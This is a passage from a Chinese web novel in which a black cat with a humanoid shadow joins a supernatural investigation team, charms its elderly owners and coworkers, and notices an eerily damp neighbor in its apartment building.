小猫不懂这些,只是抬起头,用力蹭她的掌心,尾巴翘得笔直,“喵!” “呜呜太好哭了。”尼古拉撕赵四拿出纸巾,哭得抽抽搭搭,“女神你的经历能拍电影了啊。” 她就像电影里的公主,手执利剑披荆斩棘,最后杀死了恶龙。但电影里的女主角,不应该拥有一个美满的结局吗? 萧向秦:“上车吧。” 赵荆玫:“可是我……不是已经死了吗?” 主播恍然大悟,“对啊,女神,你身体还在啊,那个鬼东西夺舍了你,说不定你能再把身体夺回来,你现在可是女商人,超有钱的。” 赵荆玫笑容苦涩,回头看眼熊熊燃烧的长生树,自己好友的生命,和自己二十年的青春,都被葬送在了这里。 她低声说:“可是这并不是我想要的人生啊。” 文檀还在寻找“喵喵”,听见愚公小队说,吴喵可能已经从门回到现实后,她才坐到大巴车上。 大巴车开出长寿村,几个死里逃生的人呆呆看着窗户。窗外,被火焰点燃的天空时不时有烧红的残肢坠下,星火如雨,好像一场烟花。 过了一会,车厢里响起女孩很轻的啜泣声。 文檀双手捂住脸,努力吞下喉中哽咽,滚热的泪水却从指缝里渗了出来。 小咪跑过去,跳到她的膝盖上,担忧地看着她,“喵。” 人,不要哭,猫的毛可以给你擦眼泪,猫已经把自己舔得干干净净了。 猫允许你拿猫当擦脸巾! 一位愚公小队的女队员走过来,拍拍她的肩膀,叹口气,“想哭就大声哭吧,哭没什么的,哭完以后好好过,别把这些压在心里。” 文檀浑身发抖,泪水涌出眼眶,颤抖着说:“夏姐死了,狗子死了……前两天,他还躺在我身边,活生生的,可一下子就没了,没有呼吸,不会说话,身体冰冷……可是好好一个人,怎么会突然就没了呢?” 那位女队友抱住了她,拍拍她的后背,无声安慰崩溃的女孩。 幽灵大巴开出长寿村,在小咪熟悉的地方停下。 “喵!”小猫朝着门大声叫。 夏炫看向萧向秦,“队长,放喵喵先回家吗?” “喵喵喵。” 小咪大声囔囔,猫要回家、猫要回家! 萧向秦点了下头。 夏炫就笑着打开门,把小猫抱到地上,“咪姐先回老师家睡一觉,明天我来接你。” “喵!”小咪一扭头,飞快地钻进黑暗里。 看着小猫嗒嗒跑远的背影,车里的人类不约而同露出笑容。连文檀也不再哭泣,看着它在路灯下翘起的尾巴,颠颠晃动的小肚子,嘴角轻轻扬起,低声说:“好羡慕猫猫呀。” 小小的脑袋里只有爱与开心,装不下人类太多的忧愁。 她旁边的女孩点头,“是啊。真是只好猫。” “这只猫猫在长寿村一直帮我们,”文檀问:“它是你们的宠物吗?” 夏炫摇头,“不,”他的眼睛弯起,像轮弦月,“猫猫是暗世界的保护神哦。” ———— 小咪把脑袋一拱,熟练钻进窗户缝里,回到了家。 早八打工人抱着被子侧睡着,依旧睡得很熟。 小咪翘起尾巴跑到床前,轻松一跃,跳到了床上,专注看着睡着的人类。 室友砸吧嘴,好像在做梦,她的梦里会有小鸟吗?会有小猫吗? 小咪不知道。 它用肉垫拍了拍室友的脸,柔软温热的皮肤被肉垫按得往下陷一个涡,又恢复了原状。 赵佳怡哼哼:“小咪,不要干坏事,我要睡觉,明天还要当牛马呢。”说着手臂一搂,环住咪的身体,把它搂进被子里。 小咪从被窝钻出个猫猫头,继续看着室友——还有呼吸,能够说话,身体也是暖烘烘的。 小咪开心地贴着她,感受她呼吸时身体的起伏,感受透过睡衣,传来的温暖,它打着呼噜,闭上眼睛,安心陷入梦乡。 “咪咪,早!” 清晨,赵佳怡把猫从被子里捞出来,埋头在它柔软的肚皮上狂吸。 “咪咪最近都不喊我起床了。”她不满地抱怨,“幸好我多订了两个闹钟。” 小咪还没完全醒来,哼唧一声,眼睛掀开条小缝,迷迷糊糊看她一眼,又闭上眼睛继续呼呼大睡。猫的身体柔若无骨,随便人类怎么摇晃摆弄,坚决不睁开眼睛。 赵佳怡飞快洗漱完,拖着行李箱出门。 出门前,她看一眼被子的隆起幅度,心中一暖,笑着说:“怎么今天睡这么久。” 她不知道,自己的小猫经历了一场怎样的冒险。 ———— 小咪睡了个饱,才从被子里爬出来,拉伸下身体,就往外面跑。 今天没有送室友上班。 猫的领地扩大了,要做的事情也多了,小咪蹿进为自己敞开的窗户,“喵喵”打了声招呼。 墙角有煮好的肉汤。它翘起尾巴,跑到猫碗前,一口气把肉块汤汁吃完,最后把碗也舔得干干净净,雪白发亮。 “哟,吃这么多呀,福娃饭量变大啦。”张云帆打太极回家,看见空碗和趴在沙发的小猫,把太极剑顺手放旁边,笑着问:“怎么今天回家这么迟?” “喵呜。” 猫睡过头啦。 在小猫第一次探头探脑循着肉香出现在窗外前,张云帆和薛芦花的退休生活其实过得很充实。每天早上,一个人穿上休闲服,拿着太极剑,到公园陪老哥们比划,另一个坐在棋盘边,安静下棋,大杀四方。 直到小咪来到家,他们拒绝老年团的邀请,把更多的时间留在家里,陪伴这只黏人的小猫。 今天小猫到八点多还没出现。 张云帆在窗户站一会,探出脑袋往外望,叹了口气,“福娃怎么还没回来?” 他担忧地说:“哎呀,不会是给别的猫欺负了吧。” 薛芦花把鸡胸肉切好,再放几个小猫最爱吃的虾仁,煮好一锅肉汤。 “咱们福娃什么体型你不知道?她会吃亏?” 张云帆若有所思,“这倒是,福娃可是胡桃街的老大,有一次,我亲眼看着它把一条大金毛打哭。但也不能怪福娃,那么大一条狗,被猫揍两拳,怎么就哭得嗷嗷叫呢?” 怎么想都不是他家福娃的问题。 薛芦花将沸腾的肉汤倒进水蜜桃形状的小猫碗里。给猫做好饭,她也来到窗户前,和张云帆一起看着窗外。 他们家福娃怎么还没回来呢? 墙上的表答答转动,秒表每一次转动都格外漫长,时间仿佛凝滞。 薛芦花又在沙发坐下,打开戏曲频道,她看眼翘首待猫归的老头,打趣:“张教授,瞧瞧你这样子,跟空巢老人一样,没有小猫就活不下去吗?福娃在探索世界,你这个一把年纪的老头,应该多充实自己,别给我们家福娃拖后腿。” 张云帆:“唉,心里总空落落的。算了,我出去练会太极。” 薛芦花继续看电视。 台里水袖飘扬,咿咿呀呀在唱,她下意识放手放在旁边,没有摸到柔软的小猫。 于是她心里也怅然若失,决定出去下会棋,重振一下自己棋盘上常胜将军的威风。 但张云帆练了会太极,依旧魂不守舍。太极最要清心静气,他却总是心烦意乱,静不下心,没多久就拿着太极剑回家了。 “福娃,去哪里旅游啦?”他把小猫抱起来。 “喵——” 去好远的地方了。 没过多久,薛芦花也回到了家。 张云帆奇道:“一盘棋没这么快吧?” “太久没有下棋,居然会输给卢老头。”薛芦花揉了揉手腕,“怪了,他进步这么大?” 张云帆笑:“我看是你惦记咱们家福娃,心沉不下来。哎呀,薛教授,你的连胜记录也要打破啦。” 小咪跑到奶奶的身上,蹭蹭她的手,然后在她腿上踩来踩去。 两个退休老人一个去练书法,一个继续看戏曲,小猫窝在沙发上,偶尔挠几下沙发,偶尔跑到书房在宣纸踩墨捣蛋。 停滞的时间好像重新又流动了起来。 快到中午时,夏炫提着袋猫猫零食上门,借口带小猫出去玩,成功顶着一顶酷炫的猫猫帽子回到古神话研究所。 小咪跳到所长宽大办公桌,翘起尾巴从书桌跳上柜子,又在椅背磨了磨爪子。 超熟练的,像回老家一样。 夏炫为它捏一把汗,小声说:“咪咪,好好坐下来,不要乱跑酷。” 话音刚落,猫的后腿一蹬,放在柜子上的文件纷纷洒落。 它跳回桌子上,一脸无辜。 夏炫忙蹲下来收拾文件,刚把这边弄好,抬起头,就见小猫趴在桌子上,脑袋探出,圆圆的眼睛一眨不眨盯着他。 它的爪爪旁有一支万宝龙钢笔。 四目相对,夏炫突然明白小猫想要做什么,试图阻止它邪恶的爪爪,“等一等……” 小咪优雅抬爪。 钢笔在地上骨碌碌滚动几圈,停在青年的脚边。 他长叹一口气,捡起钢笔,低头送到所长桌上,瞪了小猫一眼,骂:“坏猫!” “喵!”小咪大声反驳。 夏炫其实有点怕自己的上司。所长没有向他们发过脾气,无论队员做出什么愚蠢的行为,她也从不说重话。 但就算这样,他也觉得所长很可怕。 夏炫和所有同事交流过,发现大家都这样,就算再强大的人,在所长面前,总是忍不住想低下头,仿佛她身上有种无形的威严。 别说人了,连隔壁治安局最威武的狗子,看见他们家所长,也会夹着尾巴呜呜叫。 今天夏炫却见到不怕所长的生物了。 小猫骄傲地把头仰得高高的,一点也不怯场,好像这里也是它的领地,它是领地里的领主。 夏炫把嘴角往上扬,突然为他的咪老大感到骄傲。他向所长汇报工作,“幸好昨天晚上就把长寿村端了,我们赶到星悦传媒,听说冒牌赵荆玫又要组织自己员工去那边,想把人献祭给鬼域,至少这些员工安全了。” “不过,”他话锋一转,“委托猎人拿长生果的不是她,我想,还有其他伪装成人类的鬼。” “还有。”夏炫抚摸小咪顺滑柔软的毛,“咪咪该怎么办呢?” 他叹口气,“它触发诡异的概率太大了,就像个行走的污染源,会给周围的人带去危险的。” 注意到小咪的胡须垂了下来,好像很低落的样子,夏炫挠挠它的下巴,“咪咪,我在夸你呢,夸你长得漂亮。” 小咪:“喵!” 骗子,以为猫听不懂人话来欺骗猫。 它低下小脑袋,转过身,拿屁股对着夏炫,尾巴怏怏地甩动。 猫会给周围人带去灾难吗? 所长双手交叉,专注看着小黑猫,清澈日光从她身后大片洒入,在她身上投上层淡金的光辉。她的声音很柔和,说:“鬼域本来就存在,小猫只是带我们提前发现了它,避免更大的灾难。这样想,咪咪是很厉害的猫呢。” “喵!” 小咪尾巴又翘了起来,开开心心地应了一声。 第43章 小猫只要一句话就高高翘起了尾巴。 它就说! 猫怎么会让人倒霉,猫明明努力在保护人类。 小咪跳到所长的膝盖上,低下头,肉垫在她的腿上踩来踩去, 自愿做一个称职的按摩女工。 柔软的猫毛浮着层金色的阳光,小猫抬起金瞳,亲昵地朝所长叫:“咪喵。” 声音嗲得像从蜂蜜罐里捞出来的。 夏炫嘴里都尝到甜味, 不自觉笑,“所长,你也喜欢猫?” 所长曲起手指,挠挠小咪的下巴,听见它打呼噜,笑着说:“我有个姐妹,很像咪咪。” “喵!”小咪蹭她的手,女人手指弯曲, 指腹僵硬,似乎长了层厚茧, 比常人的手更粗糙, 质感硬实。 她的手指滑过小猫脑袋时, 小咪想起室友用梳子给猫梳毛时,细密铁齿滑过皮肤的感觉。 小咪抬起眼睛看所长,直觉告诉它,只要所长稍一用力,就能把自己的脑袋像鸡蛋一样捏爆。 “咪呜。”它为自己的想象抖了一下,天不怕地不怕的小猫第一次感觉到难以言喻的巨大恐惧,敏捷跳到桌子上,歪头看着女人。 所长头发灰白,偏长的面颊略微瘦削,眼睛微垂着,灰色睫毛掩住黑亮的瞳孔,她感受到小猫的视线,扬起唇角,于是威严冷漠的面部线条变得柔和,向小猫伸出手,“咪咪,你愿意和我们一起吗?” “喵!”小咪把爪子搭在她的掌心。 夏炫用力眨了眨眼,憋回眼里的湿热。 他想起自己进愚公小队的时候,也是薛静秋伸出手,问:“你愿意和我们一起战斗吗?” “等一下,咪咪。”所长低头打开抽屉,拿出一顶小帽子。 夏炫“哎”了一声,“我们还有这个型号的制服?” 他们其实是有自己制服的,不过因为工作性质要保密,加上大家也没什么纪律性,基本没怎么穿制服。除了他们一丝不苟的队长。 所长手里的,是顶迷你版的小帽子。 “这是我自己缝的,”她把帽子戴在小猫的头顶,很满意地点头,“不错。很有精神。” “喵!”小咪昂首挺胸。 夏炫张大嘴,想象了下他们威严的所长悄悄给小猫织帽子的场景,打了个哆嗦。 “咪咪,我能看一下你的影子吗?” “咪呜——” 当然可以! 小咪歪头想蹭她的手,头一歪,帽子也跟着歪斜,差点掉了下去。它连忙调整好自己的坐姿,坐得笔直,扬起脑袋,肉垫在桌子上拍了拍。 地上的影子悄然爬了起来,“第二条命。” 她口吐人言。 夏炫震惊地瞪大眼睛,“我去,喵喵的影子是个人!” 但他转念一想,自己的影子能是只鸟,队长的影子是把枪,喵喵的影子为什么不能是个人? 这很合理。 他突然意识到一件事,“喵喵!你听得到人话,那你这些天学按钮,是不是在耍我!” 小咪瞪圆了眼睛,尾巴甩了甩。 被发现了哦。 “零食!”猫理不直气不壮但是很大声地说:“零食,零食。” 她说的人话字正腔圆,播音腔,和按钮发出的女声一模一样。 夏炫一边欣慰小猫学习能力这么强,一边又心碎——一想到自己被小猫耍这么久,老父亲心都要裂开了。他捂住胸口,“吾猫叛逆,伤透我的心。” 刚说完,少女灵动可爱的面孔突然靠近,脸颊轻贴在他的手掌上。 影子的触感冰凉而滑腻。 但夏炫像摸到什么烫手东西,一下子把手缩了回去,面红耳赤地看着她,“喵喵喵喵你……” “喵?”小咪歪头,不解地看着他。以前猫猫蹭人时,每个人都会摸它,这是第一次人把猫甩开。 夏炫心中愧疚:猫猫只是想和人贴贴,猫有什么错? 但小咪的影子长得很漂亮可爱,很像人,连腰上都有条漂亮的金腰带装饰。他很难反应过来对面不是人,而是一只小猫的影子,“这样不好不好。” “喵喵,能让我们看一下你的能力吗?”所长开口打破的尴尬。 “喵!”小咪使用能力,于是办公室的椅子四条腿开始哒哒哒跑动,从桌子左侧跑到了右侧。 夏炫“噗”地笑了一下,怎么觉得他咪姐的能力比他还搞笑? 椅子又嗒嗒跑到他面前,放在椅背上的书一张一合,好像变成张大嘴,跳起来咬在他的屁股上。 “啊,咪咪,你不讲武德!” 小咪表演完给死物注入生命的能力,歪头想了下,又说:“猫还有一个能力。” 夏炫震惊,“居然还有一个?” 虽然让椅子嗒嗒跑动,书本一张一合,这样的能力看起来很可爱,可他反应过来后也明白小咪能力的非凡之处—— 能驱使死物,为死去的东西注入第二条生命,是一种多可怕的能力。 只是小猫咪是好猫,心思单纯,才不会能力用在其他恐怖的地方。 但除了第二条命,它居然还有个能力? 小咪点头,“喵表演给你看!” 它身子往后翻,动作轻盈敏捷地平地翻了个跟头。 夏炫:“啊……” 小咪:翻跟头翻跟头翻跟头。 少女的身体就像个起飞的风扇,呼啦呼啦打转,从一头转到另一头。最后一个跟头没把握好距离,双腿正好撞在墙面,身体失去平衡,脑袋直直撞在地上,如果是人类的话,脖子现在已经折断,变成个恐怖故事了。 夏炫深吸一口气,“咪咪,没有事吧。” 她的脑袋转了一百八十度,扭过来,对着夏炫,“喵没有事。” 夏炫叹气:“……有点恐怖了啊咪咪。” 小咪一个后空翻,重新跳起来,偏过脸。 戴帽子的小猫和影子同步动作,也仰起头,金瞳圆圆,期待地看着所长。 所长弯起唇角, “很厉害呢,咪咪。” “喵啊——” 愚公小队近阶段的任务很多——深渊到处煽风点火,长寿村牵扯到市里几个重要公司,表面灯火繁华欣欣向荣的城市,底下危机四伏。 但这和猫一点关系都没有。 四周人来来往往,小咪趴坐在桌子上,只负责一件事。 学习。 夏炫当授课老师,以前他进入愚公小队,也是由前辈教授他关于暗世界的基础知识,后面他因为影子没什么战斗力的关系,很少出外勤,大部分时候都坐在办公室,带新来的小朋友。 今天比较特殊,小朋友变成了小猫咪。 “污染等级我们分为白、绿、碧、赤、黄。这代表不同的强度,对了,咪咪,你知道这五种是什么颜色吗?” 小猫同学比较难带,他只低头找色卡的功夫,一抬头,猫就已经枕在自己的尾巴上,闭上眼睛呼呼大睡。 夏炫:“咪咪你才学了三分钟啊!” “咪。” 小咪拿爪爪捂住了耳朵。 小猫学习教室的门被推开了。 一个人走进来,“阿炫啊,有个事和你说一下。” 他穿着黄袍,长发用木簪束起,像小咪在电视里见过的道士。 在研究所,他也外号叫神棍。 神棍姓万,叫万木春,和夏炫一样偏后勤人员,影子同样是辅助型。 “什么事?”夏炫关心问:“是抓到那个老鸹鬼了吗?” “还在和治安局那边合作,”万木春顺势坐在凳子上,把手放在小猫柔软顺滑的长毛上,手指从它的头揉到它的后腿,笑着说:“估计这次不止抓出一只鬼,你知道庆康集团的老总王绍远吗?” “那不是咱们市首富吗?” 万木春点一下头,“赵荆玫是庆康的总裁夫人。” 夏炫“嚯”了声,“指不定她里面是个糟老头子呢,老总和老头子睡这么多年?”他打个寒颤,“想想就怪恶心的。” “这事说起来能拍电视剧了。”万木春捏捏小猫的爪爪,大拇指抚摸爪子上柔软像云彩的毛,食指摩挲着厚实有弹性的粉红肉垫,舒服得轻眯起眼睛,“赵荆玫是小三上位的……” “喵!”小咪把爪爪抽出来,拍了一下他的手。 “怎么啦小猫?” 夏炫却莫名猜到猫的心思,“别叫她赵荆玫,那不是她,只是个盗用她身份的鬼。” “对哦。”万木春屈指挠挠猫下巴,“那个鬼东西和王绍远勾搭上的时候,王总还有老婆有孩子。说起来,庆康集团最开始的基业,是他老丈人打下的江山。” “这是个赘婿上位的故事?” 万木春点头,“后来老丈人死了,他老婆也出车祸没了,儿子残废,没过几年,他就和年轻漂亮的女主持人结婚。” “呸,真不是东西!” “当年节目组去长寿村,是庆康药业资助,庆康制药就是王绍远负责的。说不定这位王总,也是个披着人皮的厉鬼。可惜没有证据不好动他们,纳税大户,著名企业家,头衔一大串呢。” “那怎么办呢?” “赵荆玫,这次是真的赵荆玫还在幽灵大巴上,我们想先不打草惊蛇,帮她夺回身体后,她假装自己还是原来的那个东西,帮忙刺探一下庆康集团虚实。” “太危险了吧。”夏炫皱眉,“她只是个普通人,要和厉鬼周旋?” “她想要为过去的同事报仇,自己提出来的办法。她可不是个普通人,普通姑娘顶着那么多只鬼,一把火把长生树烧干净?”万木春的手揉到小咪的屁股,爱不释手地捏着它腿上的肉,笑:“要是能觉醒影子能力,说不定能和咱家小猫一样强。” 一提起这个夏炫就骄傲了,“所长说,小咪上限不可估量,以后还会成长的。不过,怎么我老大是你家猫了?”他盯着同事,若有所思,“其实你和我说半天,是为了进来摸猫?” 万木春讪讪笑起来,被拆穿后,还把头埋在咪的身上,猛猛吸一口小猫味才心满意足地走了。 “咪咪,休息好了吧,我们继续上课了。在暗世界,时间和空间是错乱的,你知道什么是时间,什么是空间吗?” 小咪把自己睡成一个圆,爪爪遮住脸。 “不要摸鱼好吧。” 没给小猫说两分钟,又一位同事走进房间,“阿炫,你知道庆康集团的瓜吗?” “神棍都和我讲了。” 进来的女人弯起嘴角,温柔地说:“好吧,累不累,我给你拿了点吃的。” 夏炫有点受宠若惊,“谢谢苏姐,这怎么好……嗯?三文鱼味棒棒糖?” “喵!”盘成月亮的小咪瞬间乖巧坐好,期待地看着人。 又送走几位同事,桌子上多了冻干、猫条、罐头、大鸡腿。沾了猫的光,人也有了一包火腿肠。 这是某位同事知道小猫不能吃得太咸后,顺手把火腿肠丢过来的。 “敢情我成了垃圾桶?”夏炫愤愤咬一口肠,到门口,啪地贴上一张字条。 【正在上课,请勿打扰! ! ! 】 他坐下来,“咪咪,现在我跟你说……” 猫追着自己的尾巴转圈玩,根本不理他讲的话。 夏炫痛心疾首:“你真是我带过的最差的一届。” “咪呜!” 小咪歪头,蹭了下他的手指,用金色的眼睛无辜地望着他。 夏炫叹了口气。小猫能有什么坏心眼呢?它只是有点点厌学。 小猫不喜欢学习,这一点错都没有! 到下午,小咪就被送回了胡桃街。刚到街上,它熟练地从青年头顶蹿下来,钻入街角,和三花大美喵碰鼻子。 “我们小咪魅力还是挺大的。”夏炫欣慰地想,有种我家崽有好多好朋友的骄傲。在遇到小猫前,他从来不知道,自己只要看着一只猫,心里就会升起一股莫大的幸福感,好像被扯动某个最柔软的角落。 小黑猫和三花大美喵碰了碰鼻子,凑到它身上嗅。 “呜呜。” 三花猫比小咪骨架要小一圈,又是短毛,瘦弱娇小,但一张脸依旧是圆圆的,暗黄色的眼睛,粉红的鼻头,抬头蹭下小咪的下巴,又往前跑几步,朝它翻肚皮。 别说橘咪白狸了,别小咪都快被姐妹叼成翘嘴。 春天到了,又到了发情的季节。三花最后一只崽子被领养后,没过两天,它又开始哼哼唧唧地叫,惹得整条街的公猫都在躁动。 但也只是躁动了。小葵花医院就在街上,玻璃门闪着冰冷的光,里面穿白衣的瘦长鬼影来来去去,仿佛伫立在胡桃街的一个梦魇,是所有流浪猫们眼里的噩梦。 是的。 小葵花医院推出流浪猫嘎蛋绝育公益活动,只收取很少的钱,就能给流浪猫绝育。经常有猫被人类用猫条拐骗,被掳到医院,紧接着眼前一黑,身体不能动弹,隔着眼前的水雾,只能模糊看见冰冷的白昼灯,和几个拿刀的白口罩。 等醒来时,它们已经失去了身上的一个部位。两个蛋蛋被一只风骚的猫摆件拿着,放在它们的前面,仿佛一种挑衅。 虽然事后白大褂们会给它们吃猫条,但这并不能抚慰猫猫受惊的心。 在猫的眼里,白大褂们是嘎蛋之神,只有走投无路的猫才去那里,和他们许愿,消耗两个蛋蛋,可以换来一根猫条。 小葵花医院在胡桃街开了几年,于是街上的猫都没有了蛋蛋。 把三花难受得,屁股都翘得老高,没有一只公猫能抚慰它。公公们尴尬地大眼望小眼,相对无言。 三花朝小咪难受地嘟囔。 小咪看着它,用聪明的脑瓜子想了想,“喵呜。” 它示意三花跟自己走。 两只猫一起走到宠物医院门口。小咪喵喵大声叫,用头把玻璃门拱开。 里面的医生也很快注意到它,跑过来拉开玻璃门,欣喜地说:“哎,又是你呀,越狱猫猫。” 小咪回头,三花已经钻到灯箱底部的阴影里,匍匐在地。 如果不是小咪在,看见人的那一刻,它已经跑远了。母猫比公猫更加警惕,而它是一只已经生过几窝崽子的成熟的猫了。 “喵呜!”小咪朝它叫,见三花无动于衷,它给医生一个眼色,跑到灯箱旁,本来想钻进去的,看见地上厚厚一层灰,赶紧把爪子缩回来,朝三花猫咪呜咪呜叫。 好说歹说,终于把三花大美喵领进门。 “好漂亮的猫猫。”人类马上就被大美喵的魅力俘获。 “我今天看见它了,发情期,本来想抓它送个豪华绝育套餐的,结果它很警惕,马上就跑掉了。”猫爪发卡的女孩面无表情,往上挽起袖子,“没想到自己送上门来了。” “是咪博士把它领过来的。” ——因为上次小咪连密码锁都打开了,给医生们留下深刻印象。小葵花医院为它取了个新的外号,咪博士。 “不愧是咪博士啊。” 三花猫用力挣扎,四肢却被人的手锢得紧紧的,它瘦小又漂亮,连反抗也显得娇弱可爱,让医生们忍不住拍了好多张照片。 它朝着小咪呜呜叫,像是被它最相信的姐妹背叛了。 小咪把身体一扭,钻出了医院,坐在门口晒着最后一抹暖黄的太阳。 “丧彪?” “咪!”小咪抬头。 孙菱站在不远处,有些欣喜地看着它,“是你吗?” “喵!” 孙菱是来给小白买一些奶粉补剂的,不过事务所楼下其实就有一家宠物医院,坐车穿越半个城市,来到小葵花医院,内心大抵是隐隐有些期盼。 她蹲下来,摸着小猫的脑袋,“我还以为只能在暗世界看见你了。” “喵!”小咪凑到孙菱袖口,嗅见小白喵身上的气味,闻起来,它应该变得健康了很多。 孙菱坐在宠物医院台阶,从口袋拿出块熏干的大肉干,撕成小块放在手心。小咪趴在她旁边,低下头,小心不咬到人类的手指,慢慢吃着肉块。 一人一猫坐在台阶,共同看金色的夕阳洒满对面的高楼。 “咪咪,我要去接一个任务了。” “喵呜。” 孙菱叹口气,“……是要杀一个人。也不知道还能不能出来,再来看你。” 每一次进入暗世界,都是一场抛掷性命的豪赌,拥有影子能力,只是让赌赢的概率更大一点。但一旦输了,就是死亡。 “喵!”小咪用爪爪扒拉她的袖子,期待地看着人。 带猫一起走,猫来保护你。 孙菱看着长街发呆,漫天红霞,余晖洒在街上,来往的人们身上披着光,影子被拉长。那是个属于光明的、正常的世界,在她几步之外,又似乎遥不可及。 直到被小猫扯,她才回过神,低头看着猫。 小咪:“喵喵喵!” 猫要和你一起走! 孙菱:“啊,没吃饱?” “吃这么多还没吃饱?身上肉真不是白长的。”她捏了捏小咪的脸颊,敏感的胡须被手指拨弄,让小咪本能地咧嘴,露出白白的小虎牙。 “我再给你买点吃的吧,怎么说你一句就朝我龇牙?气性这么大?” “喵!” “真是只爱生气的小胖猫。” 小咪扭过身体,毛绒绒像拖把一样的尾巴大幅度的甩来甩去。它决定不理这个女人了! 至少三分钟内不搭理她。 等估摸着时间差不多,忙碌的小猫离开宠物医院,跳到窗台,喵喵叫。 爷爷正在拖地,“福娃,回来了啊。” “喵。”它跳下窗户,突然一个脚滑,一路滑到爷爷脚边,在地面踩出几个梅花脚印。 张云帆:“福娃乖,躺下来。” 小咪听话地乖乖躺好,侧卧着,歪头看爷爷。 张云帆握住小猫的两只爪爪,带着它在地上打转,“福娃牌猫猫拖把,开始拖地啦。” “喵!”小咪像一个陀螺在地上打转,漆黑的长毛摩擦着地板,视线转来转去,一会是爷爷的拖鞋,一会是沙发和电视,然后视野里出现了一双灰色的布拖鞋。 拖鞋上两条腿,微踮起脚跟,悄无声息地移动,出现在爷爷的脚后。 “咳咳。” 张云帆吓得一个激灵,脖子一缩,熟练躲过从后飞来的鸡毛掸子,讪讪笑:“我在陪福娃玩游戏呢,事前征用过福娃的同意。它说它很乐意拖地,是不是啊?” “喵!”小咪在地上打了个滚,回南天地板潮湿,一滚,漂亮的黑色长毛马上被打湿,就变成一绺一绺的了。 薛芦花倒吸一口气,扬起鸡毛掸子,毫不客气地甩在张云帆的头上。 “哎哟!”张云帆抱起小猫,拿毛巾给它擦爪爪,“今年真的好潮湿,在外面玩的时候要小心,不要滑得摔倒了。” “喵!” 咪知道了。 小咪在爷爷奶奶家待了会,看时间差不多,麻溜地跳出窗户,回到室友的公寓。 它和赵佳怡是前后脚回到家的。 赵佳怡把门打开,小咪假装忙碌地在磨爪子。 但熟悉的声音没有响起,赵佳怡迟迟没有进门,而是站在门口。 小咪好奇地跑过去,钻出脑袋,顺着她的目光往前看。 赵佳怡租的房子是一栋公寓,走廊长,顶上的灯管又坏了,偶尔闪一下,冷白的光线下,有一个人背对着她们,正跪在地上,身体往下伏,拿着手里的东西,用力擦着地面。 听见了声响,他缓慢转过头,一张苍白的脸忽明忽暗。 “哎,”赵佳怡认识这个人,同是一层楼的上班牛马,他们经常一起等电梯,“你在干什么呢?” “很潮。”男人擦了擦脸上的水,“你不觉得吗?” “回南天嘛,是这样的。” “太潮了、太湿了。”他低下头,用力擦着地,碎碎念抱怨这鬼天气。 “喵!”小咪大声朝人叫。 “咪咪,”赵佳怡怕它跑出来,连忙把门关上,“你什么时候出来的?” 根本看不见呢! 她把小咪抱起来,亲了亲小猫的肚子,欣慰地说:“门开了也不乱跑,我家小咪最乖啦。” “咪呜——” 猫喜欢爬窗户的喵。 第44章 小咪回到房间, 安静地窝在猫窝,影子悄悄从门缝里溜出,来到白昼灯管下。 灯管隔半分钟闪一次, 男人依旧跪在地上,狠狠擦拭冰冷的瓷砖。 “好潮、好潮。”他喃喃自语,“怎么到处都是水,擦都擦不干净。” 小咪看他一眼,没有理会,拿出一本书。 《新编小学生字典》。 人让猫先学会常用字,有空多看看书,不要做一个文盲。 小咪低下头,认真看书,没看两分钟,书上的字突然开始转圈, 每一条笔画都在跳动。点变成了嗡嗡飞的蚊子,横变成爬行的毒蛇, 撇像是停在树枝振翅欲飞的小鸟…… 它们在猫的眼前转圈、转圈。 小咪头晕眼花,第一次这么想要睡觉。 今天学习两分钟, 咪已经很努力了。这样想,她就觉得足够了,应该为自己感到骄傲。哪只猫会像她一样课后还看书呢? 她把书塞进包里。 包是所长给她的, 是属于影子的包, 能够装很多东西。 小咪准备从门缝钻回家睡觉,一抬头,男人那张惨白的面孔凑到她的面前。 “喵。”小咪呆呆地睁大眼睛,她居然一点声音都没听到。 “你没有觉得很潮吗?”男人问。 “喵。”她回。 他也没说什么,很焦躁地用毛巾擦掉脸上的水珠,转身走回自己的门。 小咪看着他的背影,才意识到自己为什么没听见脚步声——男人是踮起脚尖走路的。 有的时候,爷爷奶奶也会踮起脚尖走,这样的走路姿势能减轻脚步声,出其不意地出现在对方身后,给人一个“惊喜”。但爷爷奶奶只会把脚跟提起,上半个脚掌依旧是与地面接触的。 眼前这个男人却不是这样。他的整双脚几乎都提了起来,悬在空中,只有脚拇指轻轻碰地,这让他走路时轻飘飘的,像一个游魂。 小咪注意到,他走过的地方,就有一片湿漉的水痕。 与其说天太潮,不如说那股黏腻阴冷的潮意,是从他身上散发出来的。 男人走到门口,突然转过脸,“为什么,看着我?” 小咪认真地夸赞:“你是个很优秀的猎人!” 如果每一个人类都能学会像猫一样踮起脚尖走路,一定能很轻松地抓到耗子。 男人回到自己的房间,砰地关上门。小咪也钻回门缝,让影子贴着地,自己压在尾巴上,昏昏欲睡。自从学习了一会,猫睡得更香了。 赵佳怡躺在床上玩手机。 养猫就是这样,不用耗费太多的精力,回来摸一下,添水加粮,然后就能礼貌地保持同居关系。 她有的时候会觉得这样很好,一个疲惫的社畜,大部分精力要分给工作,很难分出时间陪伴猫,但有的时候,又会觉得对不起自己的小猫。 以前小猫能在胡桃街上无忧无虑地奔跑晒太阳,现在却被关在一个小房间里,只能看着窗纱外的世界发呆。 她刷到个小猫眺望天空的视频,想到自己的咪,心疼地望了眼猫小猫。 第一眼没看到。 赵佳怡又眨了眨眼睛。 第二眼也没看到。 “小咪!”她拔高声音,“你在哪里?” “喵呜。”本来趴在猫窝睡得正香的小咪被这一嗓子叫醒,尾巴尖尖晃了下,没有睁开眼,哼唧回应她。 赵佳怡揉了揉眼睛,笑着说:“原来你在窝里睡觉,小咪,你真是太黑了。” “喵。” “白天睡了这么久,晚上还睡。”她常看到猫半夜蹦迪的吐槽,但自己家的小猫却很乖,从来不蹦迪,真是神仙猫咪。赵佳怡想着,拿出手机,“让我看看你白天在做什么。” 她本来以为会出差几天都看不见小咪,才在家里装了监控。没想到出差取消,雷厉风行爱压榨人的boss突然变得慈眉善目,还给他们放了几天假。 放假,好耶!终于能睡到自然醒了。 “正好买了监控,让我看看效果。” 赵佳怡点开监控app,画面里没有小猫。她“咦”了声,把时间条往前拉,发现她上班没多久,自己小猫就跳出监控的范围,跑到一个角落里,然后从始至终,都没有再出现过。 “是我买的监控不对劲?”她怀疑人生,“还是臭咪一觉从白天睡到晚上?” 她把摄像头转到猫最爱待的角落,这样就能看见,小咪平时是不是在乖乖睡觉了。 赵佳怡的目光注意到另外一处—— 租房雪白的墙壁湿润了,沁出一一颗颗水珠,用手一抹,阴凉的湿意让她打了个哆嗦。 